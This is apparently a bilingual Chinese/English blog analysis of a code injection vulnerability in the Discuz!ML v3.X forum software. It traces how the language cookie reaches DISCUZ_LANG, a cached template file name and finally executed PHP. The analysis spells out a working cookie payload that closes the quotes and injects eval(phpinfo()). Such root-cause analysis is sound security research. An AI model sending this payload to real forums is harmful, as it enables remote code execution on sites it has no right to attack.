Discuz!ML v.3.X Code Injection Vulnerability Analysis

 

0x1 前言 (Foreword)

本来我今天想学通过分析下Fastjson反序列化漏洞学习java,还有研究下php混淆解密和底层hook技术的,但是今天看到在群里看了这篇文章Discuz!ML v.3.X Code Injection Vulnerability,因为涉及到dz这一通用论坛架构,所以我饶有兴趣的跟进去看了下,其实这个dz多语言版在国内影响不是很大,但是上文没有给出漏洞成因,于是就有了这篇分析文章。

(Today,i fistly want to learn java by reseaching the vulnerability of Fastjson deserialization vulnerablity, and i also want to study decrypt deconfusion of php and technology of underlying hook ,but today i saw this article Discuz!ML v.3.X Code Injection Vulnerability in the group because it involves the general forum structure of dz, so i followed it with interest . In fact Discuz!ML is not popular in nation, but i want to improve my ablity by writting article of analying the season excusing to this vulnerability)

 

0x2 关于Discuz!ML (About)

Discuz!ML 是一个由CodersClub.org为了建立一个像“社会网络”的网络社区开发的可使用多种语言的,综合,全面的,开源的web平台,有许多论坛是基于这款软件(包含了v3.2,v3.3,v3.4)的。

但是值得一提的是,这套程序与我们国内常用的discuz几乎没有很大联系,除了核心代码都是discuz,其实关于这个漏洞的危害你可以理解为一个dz插件的任意代码执行。

Discuz!ML is a MultiLingual, integrated, full-featured, open-source web-platform created by CodersClub.org for build an Internet community like “Social Network”. There are hundreds of Forum that is created using these software comprises of v3.2,v3.3,v3.4 .

It is worth mentioning that this program has little to do with domestic popular discuz,except that the core code。In fact,the hazard of this vulnerability can be understood as arbitary code execution of a disucz plugin。

 

0x3 漏洞分析 (Vuln-Analysis)

因为我之前没有读过dz的程序,所以打算借着这次机会来简单通读下dz程序,所以你们也可以把这篇文章当作dz架构的解析文章。

米斯特的表哥已经在米斯特的公众号中发了一篇逆向分析的代码审计,可以结合我这篇正向分析来个互补。

首先我们按照文章所给的复现poc,找到触发的文件名字。

确定了文件名 forum.php 触发点在cookie里面

直接跟进这个文件名字:

/Users/xq17/www/dz/forum.php

<?php

/**
 *      [Discuz!] (C)2001-2099 Comsenz Inc.
 *      This is NOT a freeware, use is subject to license terms
 *
 *      $Id: forum.php 31999 2012-10-30 07:19:49Z cnteacher $
 *  Modified by Valery Votintsev, codersclub.org
 */

//DEBUG
//echo '
<pre>';
//echo '_FILE=', __FILE__, "\n";
//echo '_ENV=';
//print_r($_ENV);
//echo '</pre>', "\n";

define('APPTYPEID', 2);
define('CURSCRIPT', 'forum');

require './source/class/class_core.php'; //这里引入了核心类文件,这里可以跟进

require './source/function/function_forum.php';
........省略下面

<?php

/**
 *      [Discuz!] (C)2001-2099 Comsenz Inc.
 *      This is NOT a freeware, use is subject to license terms
 *
 *      $Id: class_core.php 33982 2013-09-12 06:36:35Z hypowang $
 *  Modified by Valery Votintsev, codersclub.org
 */

error_reporting(E_ALL);

define('IN_DISCUZ', true);
/*vot*/ define('DISCUZ_ROOT', substr(dirname(str_replace('\\','/',__FILE__)), 0, -12));

//DEBUG
//echo '
<pre>';
//echo 'DISCUZ_ROOT=', DISCUZ_ROOT, "\n";
//echo '</pre>', "\n";

define('DISCUZ_CORE_DEBUG', false);
define('DISCUZ_TABLE_EXTENDABLE', false);

//前面定义一些全局变量比如Discuz_ROOT根目录

set_exception_handler(array('core', 'handleException')); //设置异常处理

if(DISCUZ_CORE_DEBUG) {
    set_error_handler(array('core', 'handleError'));
    register_shutdown_function(array('core', 'handleShutdown'));
}

if(function_exists('spl_autoload_register')) { 
    spl_autoload_register(array('core', 'autoload')); //注册autoload函数为__autoload的实现,这个作用是当在实例化一个未明确定义的类时去寻找相应的文件载入
} else {
    function __autoload($class) {
       return core::autoload($class);
    }
} C::creatapp(); //这里通过作用域C直接调用creatapp启动函数,跟进这里

这里我简化下core类的代码,在 class_core.php 的 最后一句 class C extends core{} 说明了C是继承core类的。

class core
{
    private static $_tables;
    private static $_imports;
    private static $_app;
    private static $_memory;

    public static function app() {
       return self::$_app;
    }

    public static function creatapp() { //执行到这里
       if(!is_object(self::$_app)) { //$_app 不是对象
           self::$_app = discuz_application::instance(); //通过instance方法实例化一个discuz_application对象
       }
       return self::$_app;
    }
 ............省略。。。。。
}

因为前面没有discuz_application类的定义,所以就会自动去执行autoload函数去加载/class/discuz/application/discuz_application.php文件里面包含了这个类的定义。

class discuz_application extends discuz_base{


    var $mem = null;

    var $session = null;

    var $config = array();

    var $var = array();

    var $cachelist = array();

    var $init_db = true;
    var $init_setting = true;
    var $init_user = true;
    var $init_session = true;
    var $init_cron = true;
    var $init_misc = true;
    var $init_mobile = true;

    var $initated = false;

    var $superglobal = array(
       'GLOBALS' => 1,
       '_GET' => 1,
       '_POST' => 1,
       '_REQUEST' => 1,
       '_COOKIE' => 1,
       '_SERVER' => 1,
       '_ENV' => 1,
       '_FILES' => 1,
    );

    static function &instance() { //执行这个函数
       static $object;
       if(empty($object)) {
           $object = new self(); //实例化->调用构造函数__construct
       }
       return $object;
    }

    public function __construct() 
       $this->_init_env(); //初始化环境配置 设置时间、编码等
       $this->_init_config();//初始化一些参数配置
       $this->_init_input(); 
       $this->_init_output();
    }
...........省略。

这里我想重点讲下像cookie这些值是怎么获取并且给予相对应的宏定义的。

首先我们看下这个类下的方法:

里面有个关键的方法_init_input是处理外部输入:

private function _init_input() {
       if (isset($_GET['GLOBALS']) ||isset($_POST['GLOBALS']) ||  isset($_COOKIE['GLOBALS']) || isset($_FILES['GLOBALS'])) {
           system_error('request_tainting');
       }

       if(MAGIC_QUOTES_GPC) {
           $_GET = dstripslashes($_GET);
           $_POST = dstripslashes($_POST);
           $_COOKIE = dstripslashes($_COOKIE);
       }

       $prelength = strlen($this->config['cookie']['cookiepre']);
       foreach($_COOKIE as $key => $val) {
           if(substr($key, 0, $prelength) == $this->config['cookie']['cookiepre']) {
              $this->var['cookie'][substr($key, $prelength)] = $val;
           }
       }


       if($_SERVER['REQUEST_METHOD'] == 'POST' && !empty($_POST)) {
           $_GET = array_merge($_GET, $_POST);
       }

       if(isset($_GET['page'])) {
           $_GET['page'] = rawurlencode($_GET['page']);
       }

       if(!(!empty($_GET['handlekey']) && preg_match('/^\w+$/', $_GET['handlekey']))) {
           unset($_GET['handlekey']);
       }

       if(!empty($this->var['config']['input']['compatible'])) {
           foreach($_GET as $k => $v) {
              $this->var['gp_'.$k] = daddslashes($v);
           }
       }

       $this->var['mod'] = empty($_GET['mod']) ? '' : dhtmlspecialchars($_GET['mod']);
       $this->var['inajax'] = empty($_GET['inajax']) ? 0 : (empty($this->var['config']['output']['ajaxvalidate']) ? 1 : ($_SERVER['REQUEST_METHOD'] == 'GET' && $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest' || $_SERVER['REQUEST_METHOD'] == 'POST' ? 1 : 0));
       $this->var['page'] = empty($_GET['page']) ? 1 : max(1, intval($_GET['page']));
       $this->var['sid'] = $this->var['cookie']['sid'] = isset($this->var['cookie']['sid']) ? dhtmlspecialchars($this->var['cookie']['sid']) : '';

       if(empty($this->var['cookie']['saltkey'])) {
           $this->var['cookie']['saltkey'] = random(8);
           dsetcookie('saltkey', $this->var['cookie']['saltkey'], 86400 * 30, 1, 1);
       }
       $this->var['authkey'] = md5($this->var['config']['security']['authkey'].$this->var['cookie']['saltkey']);

       //---------------------------
       //vot: Multi-Lingual Support

       // set default
       $default_lang = strtolower($this->var['config']['output']['language']);
       $lng = '';

       if($this->var['config']['enable_multilingual']) {

           // Adjust language names with language titles
           foreach($this->var['config']['languages'] AS $k=>$v) {
              if(empty($v['name'])) {
                  $this->var['config']['languages'][$k]['name'] = $v['title'];
              }
           }

           // set language from cookies
           if($this->var['cookie']['language']) {
              $lng = strtolower($this->var['cookie']['language']);
//DEBUG
//echo "Cookie lang=",$lng,"<br>";
           }

           // check if the language from GET is valid
           if(isset($_GET['language'])) {
              $tmp = strtolower($_GET['language']);
              if(isset($this->var['config']['languages'][$tmp])) {
                  // set from GET
                  $lng = $tmp;
              }
//DEBUG
//echo "_GET lang=",$lng,"<br>";
           }

           // Check for language auto-detection
           if(!$lng) {
              $detect = (boolean) $this->var['config']['detect_language'];
              if($detect) {
                  $lng = detect_language($this->var['config']['languages'],$default_lang);
//DEBUG
//echo "Detect lang=",$lng,"<br>";
              }
           }
       }
       // Set language to default if no language detected
       if(!$lng) {
           $lng = $default_lang;
       }

//DEBUG
//echo "Result lang=",$lng,"<br>";
       $this->var['oldlanguage'] = $lng; // Store Old Language Value for compare

       // define DISCUZ_LANG
       define('DISCUZ_LANG', $lng);

       // set new language to cookie
       dsetcookie('language', $lng);

       // set new language variables
       $this->var['language']  = $lng;
       $this->var['langpath']  = DISCUZ_ROOT . 'source/language/'.$lng . '/';
       $this->var['langurl']   = $this->var['siteroot'] . 'source/language/'.$lng . '/';
       $this->var['langicon']  = $this->var['config']['languages'][$lng]['icon'];
       $this->var['langname']  = $this->var['config']['languages'][$lng]['name'];
       $this->var['langtitle'] = $this->var['config']['languages'][$lng]['title'];
       $this->var['langdir']   = strtolower($this->var['config']['languages'][$lng]['dir']);

       // define LANGUAGE RTL Suffix
       define('RTLSUFFIX', $this->var['langdir'] == 'rtl' ? '_rtl' : '');
/*vot*/       define('LANGURL', $this->var['langurl']);


       // set jspath (for include *.js)
//     $this->var['setting']['jspath'] = $this->var['siteroot'] . 'static/js/';

    }

那么这个方法是怎么调用的呢? 其实就是在实例化discuz_application类的时候,通过构造函数pop链来进行调用,从而完成初始化工作,这个我们可以看下调用栈如下:

这里函数处理了外部输入,那么肯定就包括了cookie的获取,通过简化代码说明cookie是怎么样获取的。

告诉个快捷的方法:

我们直接在该类下搜索: $_COOKIE这个全局变量(因为这是PHP内核定义的嘛)

就可以发现

在该类下的_init_input函数下:

通过循环分别把cookie的值存入了当前类的属性 var的cookie数组中。

我们可以对比下我们的cookie

..............
       foreach($_COOKIE as $key => $val) {
           if(substr($key, 0, $prelength) == $this->config['cookie']['cookiepre']) {
              $this->var['cookie'][substr($key, $prelength)] = $val; //这里是从10开始取也就是取language,就是去掉前缀
           }
       }
       // 这里把我们传入的cookie赋值给了$this->var属性
       //9Nbx_2132_language=sc'.eval(phpinfo()).'
       .........
       $default_lang = strtolower($this->var['config']['output']['language']);//这个值为sc
       $lng = ''; //这个是关键变量先记着
       ...........
    // 下面这段是讲怎么设置$lng 然后定义为宏DISCUZ_LANG变量
       if($this->var['config']['enable_multilingual']) {

           // Adjust language names with language titles
           foreach($this->var['config']['languages'] AS $k=>$v) {
              if(empty($v['name'])) {
                  $this->var['config']['languages'][$k]['name'] = $v['title'];//这里是做一些数组处理
              }
           }

           // set language from cookies
           if($this->var['cookie']['language']) { //这里是开始,cookie的优先级最高
              $lng = strtolower($this->var['cookie']['language']); //这里赋值给了$lng
//DEBUG
//echo "Cookie lang=",$lng,"<br>";
           } 

           // check if the language from GET is valid
           if(isset($_GET['language'])) { //跳过
              $tmp = strtolower($_GET['language']);
              if(isset($this->var['config']['languages'][$tmp])) {
                  // set from GET
                  $lng = $tmp;
              }
//DEBUG
//echo "_GET lang=",$lng,"<br>";
           }

           // Check for language auto-detection
           if(!$lng) {//跳过
              $detect = (boolean) $this->var['config']['detect_language'];
              if($detect) {
                  $lng = detect_language($this->var['config']['languages'],$default_lang);
//DEBUG
//echo "Detect lang=",$lng,"<br>";
              }
           }
       }
       // Set language to default if no language detected
       if(!$lng) {
           $lng = $default_lang;
       }

//DEBUG
//echo "Result lang=",$lng,"<br>";
       $this->var['oldlanguage'] = $lng; // Store Old Language Value for compare

       // define DISCUZ_LANG
       define('DISCUZ_LANG', $lng); //这里定义了DISCUZ_LANG 为 我们cookie传入的值也就是: sc'.eval(phpinfo()).'
//......................................下面更新对应的language值
       
       define('DISCUZ_LANG', $lng);

       // set new language to cookie
       dsetcookie('language', $lng);

       // set new language variables
       $this->var['language']  = $lng;
       $this->var['langpath']  = DISCUZ_ROOT . 'source/language/'.$lng . '/';
       $this->var['langurl']   = $this->var['siteroot'] . 'source/language/'.$lng . '/';
       $this->var['langicon']  = $this->var['config']['languages'][$lng]['icon'];
       $this->var['langname']  = $this->var['config']['languages'][$lng]['name'];
       $this->var['langtitle'] = $this->var['config']['languages'][$lng]['title'];
       $this->var['langdir']   = strtolower($this->var['config']['languages'][$lng]['dir']);

简化来说就是: $lng = strtolower($this->var[‘cookie’][‘language’]);->define(‘DISCUZ_LANG’, $lng);

然后后面就更新language的配置了,这个有兴趣可以跟下,或许能挖到这个cms其他漏洞呢,因为这不是dz的代码。

但是我们只要重点知道我们的payload被设置给了DISCUZ_LANG这个宏变量就行了。

以上就是forum.php文件下 require ‘./source/class/class_core.php’;的大概作用

下面我们选择继续跟进引入的下一个文件:

 

forum.php

<?php

/**
 *      [Discuz!] (C)2001-2099 Comsenz Inc.
 *      This is NOT a freeware, use is subject to license terms
 *
 *      $Id: forum.php 31999 2012-10-30 07:19:49Z cnteacher $
 *  Modified by Valery Votintsev, codersclub.org
 */

//DEBUG
//echo '
<pre>';
//echo '_FILE=', __FILE__, "\n";
//echo '_ENV=';
//print_r($_ENV);
//echo '</pre>', "\n";

define('APPTYPEID', 2);
define('CURSCRIPT', 'forum');

require './source/class/class_core.php'; //上面分析过了

require './source/function/function_forum.php';//跟进这个文件


$modarray = array('ajax','announcement','attachment','forumdisplay',
    'group','image','index','medal','misc','modcp','notice','post','redirect',
    'relatekw','relatethread','rss','topicadmin','trade','viewthread','tag','collection','guide'
);

代码执行的关键代码在:

forum_index.php 433行的

include template('diy:forum/discuz:'.$gid);

此时参数为: diy:forum/discuz:0

我们跟进这个函数可以发现(该函数是漏洞执行的地方):

 

/Users/xq17/www/dz/source/function/function_core.php

function template($file, $templateid = 0, $tpldir = '', $gettplfile = 0, $primaltpl='') {
    global $_G;

    static $_init_style = false;
    if($_init_style === false) {
       C::app()->_init_style();
       $_init_style = true;
    }
    $oldfile = $file;
    if(strpos($file, ':') !== false) {
       $clonefile = '';
       list($templateid, $file, $clonefile) = explode(':', $file);
       $oldfile = $file;
       $file = empty($clonefile) ? $file : $file.'_'.$clonefile;
       if($templateid == 'diy') {
           $indiy = false;
          $_G['style']['tpldirectory'] = $tpldir ? $tpldir : (defined('TPLDIR') ? TPLDIR : '');
           $_G['style']['prefile'] = '';
/*vot*/           $diypath = DISCUZ_ROOT.'./data/diy/'.$_G['style']['tpldirectory'].'/'; //DIY template file directory
           $preend = '_diy_preview';
           $_GET['preview'] = !empty($_GET['preview']) ? $_GET['preview'] : '';
           $curtplname = $oldfile;
           $basescript = $_G['mod'] == 'viewthread' && !empty($_G['thread']) ? 'forum' : $_G['basescript'];
           if(isset($_G['cache']['diytemplatename'.$basescript])) {
              $diytemplatename = &$_G['cache']['diytemplatename'.$basescript];
           } else {
              if(!isset($_G['cache']['diytemplatename'])) {
                  loadcache('diytemplatename');
              }
              $diytemplatename = &$_G['cache']['diytemplatename'];
           }
           $tplsavemod = 0;
           if(isset($diytemplatename[$file]) && file_exists($diypath.$file.'.htm') && ($tplsavemod = 1) || empty($_G['forum']['styleid']) && ($file = $primaltpl ? $primaltpl : $oldfile) && isset($diytemplatename[$file]) && file_exists($diypath.$file.'.htm')) {
              $tpldir = 'data/diy/'.$_G['style']['tpldirectory'].'/';
              !$gettplfile && $_G['style']['tplsavemod'] = $tplsavemod;
              $curtplname = $file;
/*vot*/              if(isset($_GET['diy']) && $_GET['diy'] == 'yes' || isset($_GET['diy']) && $_GET['preview'] == 'yes') { //If DIY mode or Preview mode, do the following decision
                  $flag = file_exists($diypath.$file.$preend.'.htm');
                  if($_GET['preview'] == 'yes') {
                     $file .= $flag ? $preend : '';
                  } else {
                     $_G['style']['prefile'] = $flag ? 1 : '';
                  }
              }
              $indiy = true;
           } else {
              $file = $primaltpl ? $primaltpl : $oldfile;
           }
           $tplrefresh = $_G['config']['output']['tplrefresh'];
           if($indiy && ($tplrefresh ==1 || ($tplrefresh > 1 && !($_G['timestamp'] % $tplrefresh))) && filemtime($diypath.$file.'.htm') < filemtime(DISCUZ_ROOT.$_G['style']['tpldirectory'].'/'.($primaltpl ? $primaltpl : $oldfile).'.htm')) {
              if (!updatediytemplate($file, $_G['style']['tpldirectory'])) {
                  unlink($diypath.$file.'.htm');
                  $tpldir = '';
              }
           }

           if (!$gettplfile && empty($_G['style']['tplfile'])) {
              $_G['style']['tplfile'] = empty($clonefile) ? $curtplname : $oldfile.':'.$clonefile;
           }

           $_G['style']['prefile'] = !empty($_GET['preview']) && $_GET['preview'] == 'yes' ? '' : $_G['style']['prefile'];

       } else {
           $tpldir = './source/plugin/'.$templateid.'/template';
       }
    }

    $file .= !empty($_G['inajax']) && ($file == 'common/header' || $file == 'common/footer') ? '_ajax' : '';
    $tpldir = $tpldir ? $tpldir : (defined('TPLDIR') ? TPLDIR : '');
    $templateid = $templateid ? $templateid : (defined('TEMPLATEID') ? TEMPLATEID : '');
    $filebak = $file;

    if(defined('IN_MOBILE') && !defined('TPL_DEFAULT') && strpos($file, $_G['mobiletpl'][IN_MOBILE].'/') === false || (isset($_G['forcemobilemessage']) && $_G['forcemobilemessage'])) {
       if(IN_MOBILE == 2) {
           $oldfile .= !empty($_G['inajax']) && ($oldfile == 'common/header' || $oldfile == 'common/footer') ? '_ajax' : '';
       }
       $file = $_G['mobiletpl'][IN_MOBILE].'/'.$oldfile;
    }

    if(!$tpldir) {
       $tpldir = './template/default';
    }
    $tplfile = $tpldir.'/'.$file.'.htm';

    $file == 'common/header' && defined('CURMODULE') && CURMODULE && $file = 'common/header_'.$_G['basescript'].'_'.CURMODULE;

    if(defined('IN_MOBILE') && !defined('TPL_DEFAULT')) {
       if(strpos($tpldir, 'plugin')) {
           if(!file_exists(DISCUZ_ROOT.$tpldir.'/'.$file.'.htm') && !file_exists(DISCUZ_ROOT.$tpldir.'/'.$file.'.php')) {
              $url = $_SERVER['REQUEST_URI'].(strexists($_SERVER['REQUEST_URI'], '?') ? '&' : '?').'mobile=no';
              showmessage('mobile_template_no_found', '', array('url' => $url));
           } else {
              $mobiletplfile = $tpldir.'/'.$file.'.htm';
           }
       }
       !$mobiletplfile && $mobiletplfile = $file.'.htm';
       if(strpos($tpldir, 'plugin') && (file_exists(DISCUZ_ROOT.$mobiletplfile) || file_exists(substr(DISCUZ_ROOT.$mobiletplfile, 0, -4).'.php'))) {
           $tplfile = $mobiletplfile;
       } elseif(!file_exists(DISCUZ_ROOT.TPLDIR.'/'.$mobiletplfile) && !file_exists(substr(DISCUZ_ROOT.TPLDIR.'/'.$mobiletplfile, 0, -4).'.php')) {
           $mobiletplfile = './template/default/'.$mobiletplfile;
           if(!file_exists(DISCUZ_ROOT.$mobiletplfile) && !$_G['forcemobilemessage']) {
              $tplfile = str_replace($_G['mobiletpl'][IN_MOBILE].'/', '', $tplfile);
              $file = str_replace($_G['mobiletpl'][IN_MOBILE].'/', '', $file);
              define('TPL_DEFAULT', true);
           } else {
              $tplfile = $mobiletplfile;
           }
       } else {
           $tplfile = TPLDIR.'/'.$mobiletplfile;
       }
    }

/*vot*/    $cachefile = './data/template/'.DISCUZ_LANG.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';
    if($templateid != 1 && !file_exists(DISCUZ_ROOT.$tplfile) && !file_exists(substr(DISCUZ_ROOT.$tplfile, 0, -4).'.php')
           && !file_exists(DISCUZ_ROOT.($tplfile = $tpldir.$filebak.'.htm'))) {
       $tplfile = './template/default/'.$filebak.'.htm';
    }

    if($gettplfile) {
       return $tplfile;
    }
    checktplrefresh($tplfile, $tplfile, @filemtime(DISCUZ_ROOT.$cachefile), $templateid, $cachefile, $tpldir, $file);
    return DISCUZ_ROOT.$cachefile;
}

这个函数其实就是模版变量的赋值、模版名字和文件的引用(大概看一下就好了)。我们可以简化下主要代码:

function template($file, $templateid = 0, $tpldir = '', $gettplfile = 0, $primaltpl='') {
  ................................
      list($templateid, $file, $clonefile) = explode(':', $file); // 以:分割 diy:forum/discuz:0 所以$templateid值为diy $file值为forum/discuz
  .................
 
/*vot*/    $cachefile = './data/template/'.DISCUZ_LANG.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';
  
    if($templateid != 1 && !file_exists(DISCUZ_ROOT.$tplfile) && !file_exists(substr(DISCUZ_ROOT.$tplfile, 0, -4).'.php')
           && !file_exists(DISCUZ_ROOT.($tplfile = $tpldir.$filebak.'.htm'))) {
       $tplfile = './template/default/'.$filebak.'.htm'; //这里不执行直接跳过
    }

    if($gettplfile) {//跳过
       return $tplfile;
    }
    checktplrefresh($tplfile, $tplfile, @filemtime(DISCUZ_ROOT.$cachefile), $templateid, $cachefile, $tpldir, $file);
    return DISCUZ_ROOT.$cachefile;
}

这里可以得到拼接的变量$cachefile

'./data/template/'.DISCUZ_LANG.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';

也就是: ./data/template/DISCUZ_LANG_STYEID_diy_forum_discuz.tpl.php

这里我们就要重新回去寻找 DISCUZ_LANG 和 STYEID 这两个宏变量在那里定义的。

前面已经说了: DISCUZ_LANG 就是我们的paylaod: sc’.eval(phpinfo()).’

对于另外一个宏变量没啥意思,直接搜索就行了,没必要浪费时间去分析(都是在同一个类成因跟上面的cookie应该一样)

这里我们就可以得到:

$cachegile=./data/template/sc'.eval(phpinfo()).'_1_diy_forum_discuz.tpl.php

我们继续读代码:

checktplrefresh($tplfile, $tplfile, @filemtime(DISCUZ_ROOT.$cachefile), $templateid, $cachefile, $tpldir, $file);

这个函数顾名思义应该是检查模版刷新的函数,也就是用不用缓存之类的。(这里就是漏洞的触发点)

这里给出对应的参数的值:

function checktplrefresh($maintpl, $subtpl, $timecompare, $templateid, $cachefile, $tpldir, $file) {
  
  // $maintpl = ./template/default/forum/discuz.htm
  // $subtpl = ./template/default/forum/discuz.htm
  // $timecompare = 1562915965 缓存文件的时间
  // $cachefile = ./data/template/sc'.eval(phpinfo()).'_1_diy_forum_discuz.tpl.php
  // $tpldir = ./template/default
  // $file = forum/discuz
    static $tplrefresh, $timestamp, $targettplname;
    if($tplrefresh === null) {
       $tplrefresh = getglobal('config/output/tplrefresh'); //这里刷新时间为1s
       $timestamp = getglobal('timestamp'); //
    }

    if(empty($timecompare) || $tplrefresh == 1 || ($tplrefresh > 1 && !($timestamp % $tplrefresh))) { //
       if(empty($timecompare) || @filemtime(DISCUZ_ROOT.$subtpl) > $timecompare) {
/*vot*/           require_once DISCUZ_ROOT.'./source/class/class_template.php';
           $template = new template(); //实例化类
           $template->parse_template($maintpl, $templateid, $tpldir, $file, $cachefile);//解析模版
           if($targettplname === null) {
              $targettplname = getglobal('style/tplfile');
              if(!empty($targettplname)) {
                  include_once libfile('function/block');
                  $targettplname = strtr($targettplname, ':', '_');
                  update_template_block($targettplname, getglobal('style/tpldirectory'), $template->blocks);
              }
              $targettplname = true;
           }
           return TRUE;
       }
    }
    return FALSE;
}

这里比较关键的就是模版文件的生成: $template->parse_template($maintpl, $templateid, $tpldir, $file, $cachefile); 跟进这个函数

function parse_template($tplfile, $templateid, $tpldir, $file, $cachefile) {
       $basefile = basename(DISCUZ_ROOT.$tplfile, '.htm');
       $file == 'common/header' && defined('CURMODULE') && CURMODULE && $file = 'common/header_'.CURMODULE;
       $this->file = $file;

       if($fp = @fopen(DISCUZ_ROOT.$tplfile, 'r')) { //这里打开了模版文件
           $template = @fread($fp, filesize(DISCUZ_ROOT.$tplfile));
           fclose($fp);
       } elseif($fp = @fopen($filename = substr(DISCUZ_ROOT.$tplfile, 0, -4).'.php', 'r')) {
           $template = $this->getphptemplate(@fread($fp, filesize($filename)));
           fclose($fp);
       } else {
           $tpl = $tpldir.'/'.$file.'.htm';
           $tplfile = $tplfile != $tpl ? $tpl.', '.$tplfile : $tplfile;
           $this->error('template_notfound', $tplfile);
       }

       $var_regexp = "((\\\$[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*(\-\>)?[a-zA-Z0-9_\x7f-\xff]*)(\[[a-zA-Z0-9_\-\.\"\'\[\]\$\x7f-\xff]+\])*)";
       $const_regexp = "([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)";

       $headerexists = preg_match("/{(sub)?template\s+[\w:\/]+?header\}/", $template);
       $this->subtemplates = array();
       for($i = 1; $i <= 3; $i++) {
           if(strexists($template, '{subtemplate')) {
             $template = preg_replace("/[\n\r\t]*(\<\!\-\-)?\{subtemplate\s+([a-z0-9_:\/]+)\}(\-\-\>)?[\n\r\t]*/ies", "\$this->loadsubtemplate('\\2')", $template);
           }
       }

       $template = preg_replace("/([\n\r]+)\t+/s", "\\1", $template); 
.................................. //中间都是pre_replace替换标签过程 
  if(!@$fp = fopen(DISCUZ_ROOT.$cachefile, 'w')) {//这里写入了 $cachefile 文件
           $this->error('directory_notfound', dirname(DISCUZ_ROOT.$cachefile));
       }
.................................. //中间都是pre_replace替换标签过程
       $template = preg_replace("/\<\?\=(.+?)\?\>/is", "<?php echo \\1;?>", $template);

       flock($fp, 2);
       fwrite($fp, $template);//
       fclose($fp);
    }

这就是很正常的模版解析流程,然后生成了文件: sc’.eval(phpinfo()).’_1_diy_forum_discuz.tpl.php

然后回到 /Users/xq17/www/dz/source/function/function_core.php

checktplrefresh($tplfile, $tplfile, @filemtime(DISCUZ_ROOT.$cachefile), $templateid, $cachefile, $tpldir, $file);
    return DISCUZ_ROOT.$cachefile; //这里直接return了刚才生成的文件
    }

然后程序跳回上一个调用栈

然后包含了刚才生成的sc’.eval(phpinfo()).’_1_diy_forum_discuz.tpl.php来执行,我们可继续跟踪刚才生成的文件。

<?php if(!defined('IN_DISCUZ')) exit('Access Denied');  //这个被包含都会满足的,预先入口定义的
hookscriptoutput('discuz');?><?php include template('common/header'); ?><div id="pt" class="bm cl"> //这里有重新来include template函数

同理按照上面的分析(但是这里多了个子模版的字符串拼接过程):

 

//在代码 71line

if(!empty($this->subtemplates)) {
           $headeradd .= "\n0\n";
           foreach($this->subtemplates as $fname) {
              $headeradd .= "|| checktplrefresh('$tplfile', '$fname', ".time().", '$templateid', '$cachefile', '$tpldir', '$file')\n"; //这里拼接了$cachefile
           }
           $headeradd .= ';';
       }

我们不妨回到之前的代码可以发现: $cachefile = ‘./data/template/’.DISCUZ_LANG.’_’.(defined(‘STYLEID’) ? STYLEID.’_’ : ‘_’).$templateid.’_’.str_replace(‘/’, ‘_’, $file).’.tpl.php’;

这里刚好引进了 DISCUZ_LANG这个可控的变量,也就是我们可控的sc’.eval(phpinfo()).’

if(!empty($this->subtemplates)) {
           $headeradd .= "\n0\n";
           foreach($this->subtemplates as $fname) {
              $headeradd .= "|| checktplrefresh('$tplfile', '$fname', ".time().", '$templateid', '$cachefile', '$tpldir', '$file')\n";
           } //
           $headeradd .= ';';
       }

       if(!empty($this->blocks)) {
           $headeradd .= "\n";
           $headeradd .= "block_get('".implode(',', $this->blocks)."');";
       }

       $template = "<? if(!defined('IN_DISCUZ')) exit('Access Denied'); {$headeradd}?>\n$template"; //这里直接把{$headeradd} 写入了$template变量

此时可以看到 ${headeradd}的变量其实值为:

0
|| checktplrefresh('./template/default/common/header.htm', './template/default/common/header_common.htm', 1562926539, '1', './data/template/sc'.eval(phpinfo()).'_1_1_common_header_forum_index.tpl.php', './template/default', 'common/header_forum_index')
|| checktplrefresh('./template/default/common/header.htm', './template/default/common/header_qmenu.htm', 1562926540, '1', './data/template/sc'.eval(phpinfo()).'_1_1_common_header_forum_index.tpl.php', './template/default', 'common/header_forum_index')
|| checktplrefresh('./template/default/common/header.htm', './template/default/common/pubsearchform.htm', 1562926540, '1', './data/template/sc'.eval(phpinfo()).'_1_1_common_header_forum_index.tpl.php', './template/default', 'common/header_forum_index')
;

最后类似于上面分析在最后的

flock($fp, 2);
       fwrite($fp, $template);
       fclose($fp);

把$template写入了文件。

我们可以查看下生成的文件。

可以看到这里类似用到了字符串拼接的时候,会先执行函数的特点

比如

<?php $a=’123′.phpinfo().’123′;?> 将会执行phpinfo()得到返回值然后拼接进字符串。

分析到这里我们也可以得出了payload的构造规则了吧.

需要闭合相关的单引号,保证php代码的能够运行

也就是

9Nbx_2132_language=’.eval(phpinfo()).’;

这样拼接进去就可以了,但是这个不能当作持久会话,因为他依赖于cookie传值。

分析到这一步基本就可以了,因为生成的是模版文件,然后回到上文就被上面那个template包含了

这样程序执行下去,就会执行这个代码,这就是漏洞的完整执行链了。

 

0x4 总结与反思 (Summary and Reflection)

不得不说像dz这种程序读起来真的挺吃力的,而且我没在网上找到关于程序的说明文档(可能没细找,一方面我也想跟一次dz的执行流程)。

(I have to complain about thd source code of dz,understanding it is hard for me, what’s worse,i didb’t find the documentation about the program on the internet,but i want to improve myself by following the implementation process of dz)

这里我们可以梳理下漏洞执行过程(we can sort out the implementation process of this vulnerability ):

请求forum.php文件,cookie带上payload -> 入口通过实例化discuz_application然后构造函数调用该类下的_init_input方法实现把payload的定义为宏变量DISCUZ_LANG -> 程序走到include template(‘diy:forum/discuz:’.$gid); -> 然后解析模版 $cachefile,$cachefile拼接了DISCUZ_LANG

-> 模版首先生成了DISCUZ_LANG_1_diy_forum_discuz.tpl.php-> 然后执行该模版文件<?php include template(‘common/header’); ?> -> 又去调用相同的template函数解析common/header模版 $cachefile拼接了DISCUZ_LANG,但是在生成模版的过程,在文件内容多前面多了一步,把$cachefile拼接到了header头然后写入到了新的模版文件->返回上面的template函数调用,执行payload

 

0x5 参考链接 (Referer Link)

Discuz!ML v.3.X Code Injection Vulnerability

漏洞分析 | Discuz ML! V3.X 代码注入漏洞

(完)